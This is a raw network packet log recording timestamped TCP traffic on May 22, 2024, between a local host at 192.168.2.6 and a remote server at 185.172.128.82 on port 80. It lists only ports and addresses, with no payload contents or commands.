May 22, 2024 20:06:31.706127882 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.706166029 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.706305027 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706322908 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706345081 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706355095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.706372023 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706399918 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.706437111 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.706655979 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706675053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706696033 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706711054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.706717968 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706732988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.706741095 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706759930 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706770897 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.706779957 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706799030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706816912 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.706825018 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706841946 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.706851006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706871033 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706881046 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.706898928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706918001 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706927061 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.706944942 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706960917 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.706985950 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.707201004 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.707227945 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.707246065 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.707253933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.707273960 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.707283020 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.707299948 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.707309961 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.707328081 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.707338095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.707354069 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.707369089 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.707412004 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.707494974 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.707514048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.707551956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.707583904 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.707636118 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.707654953 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.707676888 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.707686901 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.707736015 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.707801104 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.707818985 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.707840919 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.707850933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.707871914 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.707895041 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.707911015 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.707940102 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.707952976 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.707978964 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.707993031 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.708005905 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.708029032 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.708041906 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.708072901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.708081961 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.708106995 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.708126068 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.708147049 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.708159924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.708192110 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.708447933 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.708477974 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.708502054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.708515882 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.708529949 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.708555937 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.708574057 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.708591938 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.708606958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.708671093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.708693981 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.708715916 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.708725929 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.708750963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.708769083 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.708784103 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.708797932 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.708826065 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.708848000 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.708883047 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.789068937 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.789114952 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.789140940 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.789154053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.789165020 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.789190054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.789201021 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.789222956 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.789243937 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.789253950 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.789272070 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.789288998 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.789320946 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.789336920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.789377928 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.789385080 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.789405107 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.789423943 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.789431095 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.789444923 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.789458990 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.789469004 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.789499044 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.789720058 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.789768934 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.792958021 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.793016911 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.793035984 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.793090105 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.793114901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.793160915 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.793188095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.793220997 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.793245077 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.793292999 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.793308973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.793361902 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.793387890 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.793442965 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.793457985 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.793499947 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.793520927 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.793576002 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.793601990 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.793654919 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.793668985 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.793700933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.793746948 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.793806076 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.793823957 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.793878078 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.793893099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.793932915 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.793955088 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.794011116 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.794038057 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.794089079 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.794112921 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.794167995 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.794182062 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.794224024 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.794259071 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.794281960 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.794322014 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.794375896 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.794389009 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.794424057 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.794450045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.794512987 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.794540882 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.794603109 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.794641972 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.794693947 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.794709921 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.794761896 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.794790983 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.794826984 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.794857025 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.794903994 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.794961929 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.794994116 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.794994116 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.795042992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.795087099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.795116901 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.795186043 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.795244932 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.795264006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.795308113 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.795331955 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.795356035 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.795417070 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.795474052 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.795507908 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.795522928 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.795552015 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.795608997 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.795682907 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.795742035 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.795758009 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.795798063 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.795820951 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.795850992 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.795896053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.795941114 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.795963049 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.795994043 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.796037912 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.796082973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.796113014 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.796137094 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.796168089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.796230078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.796247005 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.796318054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.796346903 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.796391010 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.796421051 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.796453953 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.796480894 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.796539068 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.796560049 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.796618938 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.796649933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.796695948 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.796740055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.796797991 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.796813965 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.796858072 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.796885014 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.796906948 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.796936989 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.796988964 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.797003031 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.797039032 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.797065020 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.797111988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.797130108 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.797178984 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.797194958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.797240019 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.797275066 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.797328949 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.797354937 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.797430038 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.797473907 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.797528028 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.797554016 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.797604084 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.797621965 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.797667980 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.797687054 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.797748089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.797771931 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.797796011 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.797826052 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.797873020 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.797892094 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.797950983 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.797996998 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798051119 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798070908 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798120975 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798145056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798199892 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798218966 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798265934 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798281908 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798305035 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798322916 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798330069 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798342943 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798356056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798367023 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798384905 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798396111 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798413992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798430920 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798449993 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798460007 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798477888 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798500061 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798516989 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798533916 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798556089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798568964 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798588991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798598051 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798615932 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798641920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798654079 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798671007 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798691034 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798697948 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798717976 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798723936 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798743010 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798768997 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798790932 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798832893 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798841953 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798858881 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798880100 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798890114 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798899889 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798918009 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798934937 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798945904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798960924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.798974037 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.798983097 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.799000025 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.799014091 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.799031019 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.799037933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.799056053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.799071074 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.799084902 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.799094915 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.799139977 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.800060987 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.800080061 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.800106049 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.800124884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.877839088 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.877868891 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.877893925 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.877922058 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.877933979 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.877958059 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.877974033 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.877998114 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.878017902 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.878109932 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.878161907 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.878161907 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.878161907 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.878196955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.878216028 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.878233910 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.878245115 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.878251076 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.878268957 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.878278971 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.878293991 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.878304005 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.878315926 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.878340006 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.881900072 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.881954908 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.881968975 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.881987095 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.882008076 CEST	80	49708	185.172.128.82	192.168.2.6
